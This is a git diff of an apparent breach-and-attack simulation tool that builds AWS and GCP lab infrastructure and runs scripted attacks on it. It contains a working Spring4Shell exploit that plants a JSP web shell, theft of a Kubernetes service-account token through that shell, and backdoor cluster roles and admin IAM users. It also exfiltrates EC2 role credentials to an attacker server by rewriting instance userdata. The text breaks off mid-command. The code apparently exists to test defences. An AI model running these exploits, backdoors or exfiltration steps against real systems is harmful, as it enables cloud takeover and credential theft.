100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,13 +1,17 @@ Arpeggio==2.0.2 attrs==23.2.0 +boto3==1.34.149 +botocore==1.34.149 dill==0.3.8 grpcio==1.60.1 parver==0.5 protobuf==4.25.3 -pulumi>=3.0.0,<4.0.0 pulumi-aws>=6.0.2,<7.0.0 +pulumi-gcp>=7.0.0,<8.0.0 +pulumi>=3.0.0,<4.0.0 pyfiglet==1.0.2 PyYAML==6.0.1 +requests==2.32.3 semver==2.13.0 six==1.16.0 termcolor==2.4.0 diff --git a/scenarios/.gitignore b/scenarios/.gitignore deleted file mode 100644 index a3807e5..0000000 --- a/scenarios/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -*.pyc -venv/ diff --git a/scenarios/README.md b/scenarios/README.md new file mode 100644 index 0000000..1f53a7a --- /dev/null +++ b/scenarios/README.md @@ -0,0 +1 @@ +These scenarios should be migrated to the `scenarios_ng` directory. When that is complete, this directory should be removed and `scenarios_ng` renamed to `scenarios`. diff --git a/scenarios/scenario_1/infra/Pulumi.yaml b/scenarios/scenario_1/infra/Pulumi.yaml index f8e5aec..1531451 100644 --- a/scenarios/scenario_1/infra/Pulumi.yaml +++ b/scenarios/scenario_1/infra/Pulumi.yaml @@ -1,8 +1,6 @@ name: infra runtime: name: python - options: - virtualenv: ../../../venv description: A minimal AWS Python Pulumi program config: pulumi:tags: diff --git a/scenarios/scenario_1/infra/__main__.py b/scenarios/scenario_1/infra/__main__.py index 125c2dc..48f3db7 100644 --- a/scenarios/scenario_1/infra/__main__.py +++ b/scenarios/scenario_1/infra/__main__.py @@ -3,6 +3,7 @@ import os import sys import subprocess +import pdb def read_public_key(pub_key_path): # Read the public key from the file @@ -71,6 +72,7 @@ def read_public_key(pub_key_path): "ec2:CreateKeyPair", "ec2:RunInstances", "ec2:TerminateInstances", + "ec2:CreateTags", "iam:ListRoles", "iam:ListInstanceProfiles", "iam:ListAttachedRolePolicies", @@ -133,7 +135,10 @@ def read_public_key(pub_key_path): ami=ubuntu_ami.id, iam_instance_profile=instance_profile.name, security_groups=[sg.name], - user_data=user_data_script + user_data=user_data_script, + tags={ + "Name": "Cobra-Webserver" + } ) instance1 = aws.ec2.Instance("attacker-server", @@ -141,9 +146,11 @@ def read_public_key(pub_key_path): ami=ubuntu_ami.id, security_groups=[sg.name], user_data=user_data_script_1, - key_name=key_pair.key_name) - - + key_name=key_pair.key_name, + tags={ + "Name": "Cobra-Attacker" + } +) # Export the public IP of the EC2 instance print("Web Server Public IP") pulumi.export("Web Server Public IP", instance.public_ip) diff --git a/scenarios/scenario_1/scenario_1.py b/scenarios/scenario_1/scenario_1.py index 7dfda33..ff5a563 100644 --- a/scenarios/scenario_1/scenario_1.py +++ b/scenarios/scenario_1/scenario_1.py @@ -10,55 +10,39 @@ from core.helpers import loading_animation from core.report import gen_report -def generate_ssh_key(): - # Define the path to save the keys - key_path = os.path.expanduser("./id_rsa") - - # Check if SSH key already exists - if os.path.exists(key_path): - print("SSH key already exists. Deleting the existing key...") - os.remove(key_path) - - # Generate the SSH key pair - with open(os.devnull, 'w') as devnull: - subprocess.run(["ssh-keygen", "-t", "rsa", "-b", "4096", "-N", "", "-f", key_path], stdout=devnull, stderr=devnull) - print("SSH Key Pair generated successfully!") - - return key_path, key_path + ".pub" def scenario_1_execute(): print("-"*30) - print(colored("Executing Scenraio 1 : Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning ", color="red")) + print(colored("Executing Scenario 1 : Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning ", color="red")) generate_ssh_key() loading_animation() print("-"*30) print(colored("Rolling out Infra", color="red")) loading_animation() print("-"*30) - subprocess.call("pwd", shell=True) - file_path = "./core/aws-scenario-1-output.json" + + base_directory = os.path.abspath('.') + sub_directory = "core" + file_name = "aws-scenario-1-output.json" + file_path = os.path.join(base_directory, sub_directory, file_name) if os.path.exists(file_path): os.remove(file_path) print("File '{}' found and deleted.".format(file_path)) else: print("File '{}' not found.".format(file_path)) - subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi up -s aws-scenario-1 -y", shell=True) - subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi stack -s aws-scenario-1 output --json >> ../../../core/aws-scenario-1-output.json", shell=True) + subprocess.call("pulumi -C scenarios/scenario_1/infra/ up -s aws-scenario-1 --yes", shell=True) + subprocess.call("pulumi -C scenarios/scenario_1/infra/ stack -s aws-scenario-1 output --json >> core/aws-scenario-1-output.json", shell=True) print("-"*30) print(colored("Bringing up the Vulnerable Application", color="red")) loading_animation() - # Use tqdm as a context manager to create the progress bar sleep_duration = 300 with tqdm(total=sleep_duration, desc="Loading") as pbar: - # Loop until sleep_duration is reached while sleep_duration > 0: - # Sleep for a shorter interval to update the progress bar sleep_interval = min(1, sleep_duration) sleep(sleep_interval) - # Update the progress bar with the elapsed time pbar.update(sleep_interval) sleep_duration -= sleep_interval @@ -80,7 +64,7 @@ def scenario_1_execute(): AMI_ID = data["AMI ID"] KEY_PAIR_NAME = data["Key Pair Name"] REGION = data["Region"] - + INSTANCE_NAME='Cobra-Anomalous' print("Web Server Public IP: ", WEB_SERVER_PUBLIC_IP) print("-"*30) @@ -104,9 +88,27 @@ def scenario_1_execute(): print("-"*30) print(colored("Anomalous Infra Rollout", color="red")) loading_animation() - subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" ""aws ec2 run-instances --image-id "+AMI_ID+" --instance-type t2.micro --key-name "+KEY_PAIR_NAME+" --subnet-id "+SUBNET_ID+" --region "+REGION+" | jq '.Instances[].InstanceId'""", shell=True) + + aws_command = ( + f"aws ec2 run-instances --image-id {AMI_ID} --instance-type t2.micro --key-name {KEY_PAIR_NAME} --subnet-id {SUBNET_ID} --region {REGION} --tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]' | jq -r '.Instances[].InstanceId'" + ) + + # Construct the full SSH command with jq and xargs + ssh_command = (f"ssh -o StrictHostKeyChecking=accept-new -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} \"{aws_command}\" ") + + + # Execute the command + try: + instance_id = subprocess.check_output(ssh_command, shell=True, text=True) + print(instance_id) + except subprocess.CalledProcessError as e: + print(f"Command failed with error: {e}") + + + subprocess.run(f"pulumi -C scenarios/scenario_1/infra/ import aws:ec2/instance:Instance {INSTANCE_NAME.strip()} {instance_id.strip()} --protect=false --yes --stack=aws-scenario-1 --suppress-outputs --suppress-progress > /dev/null 2>&1", shell=True) + print("-"*30) print(colored("Generating Report", color="red")) loading_animation() - gen_report(ATTACKER_SERVER_INSTANCE_ID, ATTACKER_SERVER_PUBLIC_IP, WEB_SERVER_PUBLIC_IP, WEB_SERVER_INSTANCE_ID) \ No newline at end of file + gen_report(ATTACKER_SERVER_INSTANCE_ID, ATTACKER_SERVER_PUBLIC_IP, WEB_SERVER_PUBLIC_IP, WEB_SERVER_INSTANCE_ID) diff --git a/scenarios/scenario_2/infra/Pulumi.yaml b/scenarios/scenario_2/infra/Pulumi.yaml index ea1baab..6de68db 100644 --- a/scenarios/scenario_2/infra/Pulumi.yaml +++ b/scenarios/scenario_2/infra/Pulumi.yaml @@ -1,8 +1,6 @@ name: ls runtime: name: python - options: - virtualenv: ../../../venv description: A minimal AWS Python Pulumi program config: pulumi:tags: diff --git a/scenarios/scenario_2/report/report.py b/scenarios/scenario_2/report/report.py index e30f3e1..f860e2e 100644 --- a/scenarios/scenario_2/report/report.py +++ b/scenarios/scenario_2/report/report.py @@ -165,4 +165,4 @@ def gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME): print("HTML report generated successfully.") - webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cnbas-as2-report.html') \ No newline at end of file + webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as2-report.html') \ No newline at end of file diff --git a/scenarios/scenario_2/scenario_2.py b/scenarios/scenario_2/scenario_2.py index 23ff35d..7f0e961 100644 --- a/scenarios/scenario_2/scenario_2.py +++ b/scenarios/scenario_2/scenario_2.py @@ -70,7 +70,7 @@ def scenario_2_execute(): print("-"*30) creds = "export $(grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN token.txt)" - subprocess.call(""+creds+" && aws sts get-caller-identity", shell=True) + subprocess.call(""+creds+" && aws sts get-caller-identity --no-cli-pager", shell=True) print(colored("PrivEsc possible through this credential, Escalating role privileges", color="red")) subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name "+LAMBDA_ROLE_NAME+"", shell=True) @@ -86,15 +86,15 @@ def scenario_2_execute(): pbar.update(sleep_interval) sleep_duration -= sleep_interval - subprocess.call("curl '"+API_GW_URL+"?query=ping'", shell=True) + #subprocess.call("curl '"+API_GW_URL+"?query=ping'", shell=True) #Backdoor IAM User print(colored("Creating a Backdoor User which can be used by the attacker", color="red")) loading_animation() print("-"*30) - subprocess.call(""+creds+" && aws iam create-user --user-name devops", shell=True) + subprocess.call(""+creds+" && aws iam create-user --user-name devops --no-cli-pager", shell=True) subprocess.call(""+creds+" && aws iam attach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) - subprocess.call(""+creds+" && aws iam create-access-key --user-name devops", shell=True) + subprocess.call(""+creds+" && aws iam create-access-key --user-name devops --no-cli-pager", shell=True) #Backdoor Role diff --git a/scenarios/scenario_3/infra/Pulumi.gcp-scenario-1.yaml b/scenarios/scenario_3/infra/Pulumi.gcp-scenario-1.yaml new file mode 100644 index 0000000..046f067 --- /dev/null +++ b/scenarios/scenario_3/infra/Pulumi.gcp-scenario-1.yaml @@ -0,0 +1,2 @@ +config: + gcp:project: clgcporg11-096 diff --git a/scenarios/scenario_3/infra/Pulumi.yaml b/scenarios/scenario_3/infra/Pulumi.yaml new file mode 100644 index 0000000..199563e --- /dev/null +++ b/scenarios/scenario_3/infra/Pulumi.yaml @@ -0,0 +1,9 @@ +name: infra +runtime: + name: python +description: A minimal AWS Python Pulumi program +config: + pulumi:tags: + value: + pulumi:template: "" + diff --git a/scenarios/scenario_3/infra/__main__.py b/scenarios/scenario_3/infra/__main__.py new file mode 100644 index 0000000..8bf84cb --- /dev/null +++ b/scenarios/scenario_3/infra/__main__.py @@ -0,0 +1,49 @@ +import pulumi +import pulumi_gcp as gcp + +config = pulumi.Config() +NODE_COUNT = config.get_int('node_count') or 1 +NODE_MACHINE_TYPE = config.get('node_machine_type') or 'e2-medium' +MASTER_VERSION = config.get('master_version') + +# Defining the GKE Cluster +gke_cluster = gcp.container.Cluster('cluster-1', + name = "cluster-1", + location = "us-central1", + initial_node_count = NODE_COUNT, + remove_default_node_pool = True, + min_master_version = MASTER_VERSION, + deletion_protection = False +) + +gke_nodepool = gcp.container.NodePool("nodepool-1", + name = "nodepool-1", + location = "us-central1", + node_locations = ["us-central1-a"], + cluster = gke_cluster.id, + node_count = NODE_COUNT, + node_config = gcp.container.NodePoolNodeConfigArgs( + preemptible = False, + machine_type = NODE_MACHINE_TYPE, + disk_size_gb = 20, + oauth_scopes = ["https://www.googleapis.com/auth/cloud-platform"], + shielded_instance_config = gcp.container.NodePoolNodeConfigShieldedInstanceConfigArgs( + enable_integrity_monitoring = True, + enable_secure_boot = True + ) + ), + + autoscaling = gcp.container.NodePoolAutoscalingArgs( + min_node_count = 1, + max_node_count = 3 + ), + + management = gcp.container.NodePoolManagementArgs( + auto_repair = True, + auto_upgrade = True + ) +) + +pulumi.export("cluster-name", gke_cluster.name) +pulumi.export("cluster-endpoint", gke_cluster.endpoint) + diff --git a/scenarios/scenario_3/infra/app/app.yml b/scenarios/scenario_3/infra/app/app.yml new file mode 100644 index 0000000..21a06e9 --- /dev/null +++ b/scenarios/scenario_3/infra/app/app.yml @@ -0,0 +1,38 @@ +--- +apiVersion: apps/v1 +kind: Deployment + + +### +### Deployment Metadata +### +metadata: + name: spring4shell-web + + +### +### Specs +### +spec: + replicas: 1 + + selector: + matchLabels: + app: spring4shell-web + tier: frontend + + template: + + # Template Metadata to be used by service for discovery + metadata: + labels: + app: spring4shell-web + tier: frontend + + # Container/Volume definition + spec: + containers: + - name: spring4shell-web + image: nugentec/springapp:latest + ports: + - containerPort: 8080 \ No newline at end of file diff --git a/scenarios/scenario_3/infra/app/backdoor.yml b/scenarios/scenario_3/infra/app/backdoor.yml new file mode 100644 index 0000000..9e0fe28 --- /dev/null +++ b/scenarios/scenario_3/infra/app/backdoor.yml @@ -0,0 +1,9 @@ +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: example-cluster-role +rules: + - apiGroups: [""] + resources: ["pods"] + verbs: ["get", "list"] + diff --git a/scenarios/scenario_3/infra/app/exploit b/scenarios/scenario_3/infra/app/exploit new file mode 100755 index 0000000..ac2698f --- /dev/null +++ b/scenarios/scenario_3/infra/app/exploit @@ -0,0 +1,14 @@ +#read -p "Enter IP Address of vulnerable Application: " ip +echo "[+] Exploiting Spring4Shell vulnerability in server: http://$1/helloworld/greeting" +curl -H "prefix:<%" -H "suffix:%>//" -H "c:Runtime" -H "Content-Type: application/x-www-form-urlencoded" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://$1/helloworld/greeting +echo +echo + +echo "[SERVER][+] webapps/ROOT dir after exploit, should include shell.jsp" +# docker-compose exec app ls webapps/ROOT +# echo + +echo "[+] Shell is now accessible at: http://$1/shell.jsp?cmd=" +echo "[+] Waiting 10 seconds..." +sleep 10 + diff --git a/scenarios/scenario_3/infra/app/sa-cb.yml b/scenarios/scenario_3/infra/app/sa-cb.yml new file mode 100644 index 0000000..c6909de --- /dev/null +++ b/scenarios/scenario_3/infra/app/sa-cb.yml @@ -0,0 +1,13 @@ +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: example-clusterrole-binding +subjects: +- kind: ServiceAccount + name: default + namespace: default +roleRef: + kind: ClusterRole + name: example-clusterrole + apiGroup: rbac.authorization.k8s.io + diff --git a/scenarios/scenario_3/infra/app/sa-cr.yml b/scenarios/scenario_3/infra/app/sa-cr.yml new file mode 100644 index 0000000..c704015 --- /dev/null +++ b/scenarios/scenario_3/infra/app/sa-cr.yml @@ -0,0 +1,12 @@ +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: example-clusterrole +rules: +- apiGroups: [""] + resources: ["pods"] + verbs: ["get", "list"] +- apiGroups: ["rbac.authorization.k8s.io"] + resources: ["clusterroles", "rolebindings"] + verbs: ["create", "get", "list", "watch", "update", "patch", "delete"] + diff --git a/scenarios/scenario_3/infra/app/service.yml b/scenarios/scenario_3/infra/app/service.yml new file mode 100644 index 0000000..14ea149 --- /dev/null +++ b/scenarios/scenario_3/infra/app/service.yml @@ -0,0 +1,16 @@ +--- +apiVersion: v1 +kind: Service +metadata: + name: spring4shell-web-service +spec: + selector: + app: spring4shell-web + tier: frontend + type: LoadBalancer + ports: + - protocol: TCP + # Port accessible inside cluster + port: 8081 + # Port to forward to inside the pod + targetPort: 8080 diff --git a/scenarios/scenario_3/scenario_3.py b/scenarios/scenario_3/scenario_3.py new file mode 100644 index 0000000..281db9f --- /dev/null +++ b/scenarios/scenario_3/scenario_3.py @@ -0,0 +1,95 @@ +import os +import pyfiglet +import time +import subprocess +import json +from tqdm import tqdm +from time import sleep +from termcolor import colored +from core.helpers import generate_ssh_key +from core.helpers import loading_animation +#from .report.report import gen_report_2 + +def scenario_3_execute(): + print("-"*30) + print(colored("Executing Scenraio 3 : Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster", color="red")) + + PROJECT_ID = os.getenv('PROJECT_ID') + + print(colored("Rolling out Infra", color="red")) + loading_animation() + print("-"*30) + + subprocess.call("cd scenarios/scenario_3/infra/ && pulumi config set gcp:project $PROJECT_ID", shell=True) + file_path = "./core/gcp-scenario-1-output.json" + if os.path.exists(file_path): + os.remove(file_path) + print("File '{}' found and deleted.".format(file_path)) + else: + print("File '{}' not found.".format(file_path)) + + subprocess.call("cd ./scenarios/scenario_3/infra/ && pulumi up -s gcp-scenario-1 -y", shell=True) + subprocess.call("cd ./scenarios/scenario_3/infra/ && pulumi stack -s gcp-scenario-1 output --json >> ../../../core/gcp-scenario-1-output.json", shell=True) + + with open("./core/gcp-scenario-1-output.json", "r") as file: + data = json.load(file) + + CLUSTER_NAME = data["cluster-name"] + CLUSTER_ENDPOINT = data["cluster-endpoint"] + + + print(colored("Authenticate to the cluster", color="red")) + loading_animation() + subprocess.call("gcloud container clusters get-credentials "+CLUSTER_NAME+" --region us-central1 --project "+PROJECT_ID+"", shell=True) + + print(colored("Deploying Web App and service", color="red")) + loading_animation() + subprocess.call("kubectl apply -f ./scenarios/scenario_3/infra/app/service.yml", shell=True) + subprocess.call("kubectl apply -f ./scenarios/scenario_3/infra/app/app.yml", shell=True) + + sleep_duration = 60 + with tqdm(total=sleep_duration, desc="Loading") as pbar: + while sleep_duration > 0: + sleep_interval = min(1, sleep_duration) + sleep(sleep_interval) + + pbar.update(sleep_interval) + sleep_duration -= sleep_interval + + + service_ip = subprocess.check_output("kubectl get svc spring4shell-web-service -o json | jq -r '.status.loadBalancer.ingress[0].ip'", shell=True).decode('utf-8').strip().rstrip('\n') + + print(colored("Found RCE in the Web Server, exploiting and creating Shell", color="red")) + loading_animation() + print("-"*30) + subprocess.call("sh scenarios/scenario_3/infra/app/exploit "+service_ip+":8081", shell=True) + + + print(colored("Found PrivEsc using Pod Default Service Account, escalating privs", color="red")) + loading_animation() + print("-"*30) + subprocess.call("kubectl apply -f scenarios/scenario_3/infra/app/sa-cr.yml", shell=True) + subprocess.call("kubectl apply -f scenarios/scenario_3/infra/app/sa-cb.yml", shell=True) + + pod_sa_token = subprocess.check_output("curl --silent --output - 'http://"+service_ip+":8081/shell.jsp?cmd=cat%20/var/run/secrets/kubernetes.io/serviceaccount/token' | head -n 1", shell=True).decode('utf-8').strip().rstrip('\n') + pod_sa_token = pod_sa_token.replace('\x00', '') + + print(colored("Creating a backdoor cluster role to persist", color="red")) + loading_animation() + print("-"*30) + print(CLUSTER_ENDPOINT) + + subprocess.call(f"kubectl --server=https://{CLUSTER_ENDPOINT} --token={pod_sa_token} apply -f scenarios/scenario_3/infra/app/backdoor.yml", shell=True) + + + + + + + + + + + + + diff --git a/scenarios/scenario_4/infra/Pulumi.yaml b/scenarios/scenario_4/infra/Pulumi.yaml new file mode 100644 index 0000000..71dca15 --- /dev/null +++ b/scenarios/scenario_4/infra/Pulumi.yaml @@ -0,0 +1,11 @@ +name: infra +runtime: + name: python + +description: A minimal AWS Python Pulumi program +config: + pulumi:tags: + value: + pulumi:template: "" + + diff --git a/scenarios/scenario_4/infra/__main__.py b/scenarios/scenario_4/infra/__main__.py new file mode 100644 index 0000000..a87982d --- /dev/null +++ b/scenarios/scenario_4/infra/__main__.py @@ -0,0 +1,194 @@ +import pulumi +import pulumi_aws as aws +import os +import sys +import subprocess + +def read_public_key(pub_key_path): + with open(pub_key_path, "r") as f: + public_key = f.read().strip() + + return public_key + +current = aws.get_region() + +key_pair = aws.ec2.KeyPair("my-key-pair", public_key=read_public_key("../../../id_rsa.pub")) + +ubuntu_ami = aws.ec2.get_ami( + filters=[ + aws.ec2.GetAmiFilterArgs( + name="name", + values=["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"], + ), + aws.ec2.GetAmiFilterArgs( + name="virtualization-type", + values=["hvm"], + ), + ], + owners=["099720109477"], + most_recent=True, + +) + +# Create an IAM role for EC2 instance +role = aws.iam.Role("ec2-role", + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": { + "Service": "ec2.amazonaws.com" + }, + "Action": "sts:AssumeRole" + }] + }""" +) + +# Attach a policy to the role allowing necessary permissions +policy = aws.iam.RolePolicy("ec2-role-policy", + role=role.name, + policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "VisualEditor0", + "Effect": "Allow", + "Action": [ + "ec2:StartInstances", + "ec2:StopInstances", + "ec2:ModifyInstanceAttribute" + + ], + "Resource": "*" + } + ] + }""" +) + +role_2 = aws.iam.Role("ec2-role-imdsv2", + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": { + "Service": "ec2.amazonaws.com" + }, + "Action": "sts:AssumeRole" + }] + }""" +) + +policy_2 = aws.iam.RolePolicy("server-role-policy", + role=role_2.name, + policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "VisualEditor0", + "Effect": "Allow", + "Action": [ + "ec2:*", + "s3:*" + ], + "Resource": "*" + } + ] + }""" +) + +sg = aws.ec2.SecurityGroup("web-sg", + ingress=[ + { + "protocol": "tcp", + "fromPort": 8000, + "toPort": 8000, + "cidrBlocks": ["0.0.0.0/0"] + }, + { + "protocol": "tcp", + "fromPort": 22, + "toPort": 22, + "cidrBlocks": ["0.0.0.0/0"] + } + ], + egress=[{ + "protocol": "-1", + "fromPort": 0, + "toPort": 0, + "cidrBlocks": ["0.0.0.0/0"] + }] +) + +# User data script to be executed when the instance starts +user_data_script = """ +IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlCnN1ZG8gYXB0IGluc3RhbGwgYXdzY2xpIC15CndnZXQgLVAgL2hvbWUvdWJ1bnR1LyBodHRwczovL2xhYi1maWxlcy0wMGZmYWFiY2MuczMuYW1hem9uYXdzLmNvbS91ZWJhLWxhYi9zZXJ2ZXIucHkKc3VkbyBjaG93biB1YnVudHU6dWJ1bnR1IC9ob21lL3VidW50dS9zZXJ2ZXIucHkKd2dldCAtUCAvaG9tZS91YnVudHUvIGh0dHBzOi8vY29icmEtdG9vbC1maWxlcy5zMy5hcC1zb3V0aC0xLmFtYXpvbmF3cy5jb20vc2NlbmFyaW8tNC91c2VyZGF0YS50eHQK +""" + +instance_profile = aws.iam.InstanceProfile("my-instance-profile", + role=role.name +) + +instance_profile_2 = aws.iam.InstanceProfile("my-instance-profile-2", + role=role_2.name +) + +# Create an EC2 instance with user data +instance = aws.ec2.Instance("attacker", + instance_type="t2.micro", + ami=ubuntu_ami.id, + iam_instance_profile=instance_profile.name, + security_groups=[sg.name], + user_data=user_data_script, + key_name=key_pair.key_name + +) + +instance1 = aws.ec2.Instance("imds-machine", + instance_type="t2.micro", + ami=ubuntu_ami.id, + iam_instance_profile=instance_profile_2.name, + security_groups=[sg.name], + key_name=key_pair.key_name) + + +# Export the public IP of the EC2 instance +print("Attacker Server Public IP") +pulumi.export("Attacker Server Public IP", instance.public_ip) + +print("Victim Server Public IP") +pulumi.export("Victim Server Public IP", instance1.public_ip) + +print("Attacker Server Role Name") +pulumi.export("role_name", role.name) + +print("Victim Server Role Name") +pulumi.export("victim_role_name", role_2.name) + +# Export the policy name +pulumi.export("policy_name", policy.name) + +# Export the security group name +pulumi.export("security_group_name", sg.name) + +# Export the instance profile name +print("Attacker Server Role") +pulumi.export("Attacker Server Role", instance_profile.name) + +print("Victim Server Role") +pulumi.export("Victim Server Role", instance_profile_2.name) + +# Export the instance ID +print("Attacker Server Instance ID") +pulumi.export("Attacker Server Instance ID", instance.id) + +print("Victim Server Instance ID") +pulumi.export("Victim Server Instance ID", instance1.id) + +pulumi.export("AMI ID", ubuntu_ami.id) + +pulumi.export("Subnet ID", instance.subnet_id) + +pulumi.export("Key Pair Name", key_pair.key_name) + +pulumi.export("Region", current.name) + diff --git a/scenarios/scenario_4/scenario_4.py b/scenarios/scenario_4/scenario_4.py new file mode 100644 index 0000000..0d3eda8 --- /dev/null +++ b/scenarios/scenario_4/scenario_4.py @@ -0,0 +1,102 @@ +import os +import pyfiglet +import time +import subprocess +import json +from tqdm import tqdm +from time import sleep +from termcolor import colored +from core.helpers import generate_ssh_key +from core.helpers import loading_animation +from core.helpers import generate_ssh_key + +def scenario_4_execute(): + print("-"*30) + print(colored("Executing Scenraio 4 : Exfiltrate EC2 role credentials using IMDSv2 with least privileged access", color="red")) + loading_animation() + print("-"*30) + + print(colored("Rolling out Infra", color="red")) + loading_animation() + print("-"*30) + + file_path = "./core/aws-scenario-3-output.json" + if os.path.exists(file_path): + os.remove(file_path) + print("File '{}' found and deleted.".format(file_path)) + else: + print("File '{}' not found.".format(file_path)) + + generate_ssh_key() + + subprocess.call("cd ./scenarios/scenario_4/infra/ && pulumi up -s aws-scenario-3 -y", shell=True) + subprocess.call("cd ./scenarios/scenario_4/infra/ && pulumi stack -s aws-scenario-3 output --json >> ../../../core/aws-scenario-3-output.json", shell=True) + + with open("./core/aws-scenario-3-output.json", "r") as file: + data = json.load(file) + + ATTACKER_SERVER_PUBLIC_IP = data["Attacker Server Public IP"] + VICTIM_SERVER_PUBLIC_IP = data["Victim Server Public IP"] + ATTACKER_SERVER_INSTANCE_ID = data["Attacker Server Instance ID"] + VICTIM_SERVER_INSTANCE_ID = data["Victim Server Instance ID"] + SUBNET_ID = data["Subnet ID"] + AMI_ID = data["AMI ID"] + KEY_PAIR_NAME = data["Key Pair Name"] + REGION = data["Region"] + VICTIM_SERVER_ROLE_NAME = data["victim_role_name"] + + ssh_cmd = '''f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP}"''' + + sleep_duration = 80 + with tqdm(total=sleep_duration, desc="Loading") as pbar: + while sleep_duration > 0: + sleep_interval = min(1, sleep_duration) + sleep(sleep_interval) + + pbar.update(sleep_interval) + sleep_duration -= sleep_interval + + #subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" 'cat /etc/hostname'", shell=True) + + print(colored("Stopping the Remote Instance", color="red")) + loading_animation() + print("-"*30) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws ec2 stop-instances --instance-ids {VICTIM_SERVER_INSTANCE_ID} --region {REGION}'", shell=True) + sleep_duration = 60 + with tqdm(total=sleep_duration, desc="Loading") as pbar: + while sleep_duration > 0: + sleep_interval = min(1, sleep_duration) + sleep(sleep_interval) + + pbar.update(sleep_interval) + sleep_duration -= sleep_interval + + print(ATTACKER_SERVER_PUBLIC_IP) + ip_sed_command = f"sed -i -e 's/ipaddress/{ATTACKER_SERVER_PUBLIC_IP}/g' userdata.txt" + role_sed_command = f"sed -i -e 's/rolenamehere/{VICTIM_SERVER_ROLE_NAME}/g' userdata.txt" + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} \"{ip_sed_command}\"", shell=True) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} \"{role_sed_command}\"", shell=True) + + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'cat userdata.txt | base64 > ud.txt'", shell=True) + + print(colored("Modifying Userdata of the Instance", color="red")) + loading_animation() + print("-"*30) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws ec2 modify-instance-attribute --attribute userData --value file://ud.txt --instance-id {VICTIM_SERVER_INSTANCE_ID} --region {REGION}'", shell=True) + + print(colored("Starting server on port 8000 and listening for credentials", color="red")) + loading_animation() + print("-"*30) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'nohup python3 server.py > server.log 2>&1 &'",shell=True) + + print(colored("Starting the Victim Server", color="red")) + loading_animation() + print("-"*30) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws ec2 start-instances --instance-ids {VICTIM_SERVER_INSTANCE_ID} --region {REGION}'", shell=True) + + print(colored("Extracting the credential received on Attacker Server & Verifying the credential", color="red")) + loading_animation() + print("-"*30) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'cat data.txt | base64 -d > creds.json'", shell=True) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'export AWS_ACCESS_KEY_ID=$(cat creds.json | jq -r '.AccessKeyId') && export AWS_SECRET_ACCESS_KEY=$(cat creds.json | jq -r '.SecretAccessKey') && export AWS_SESSION_TOKEN=$(cat creds.json | jq -r '.Token')'", shell=True) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa 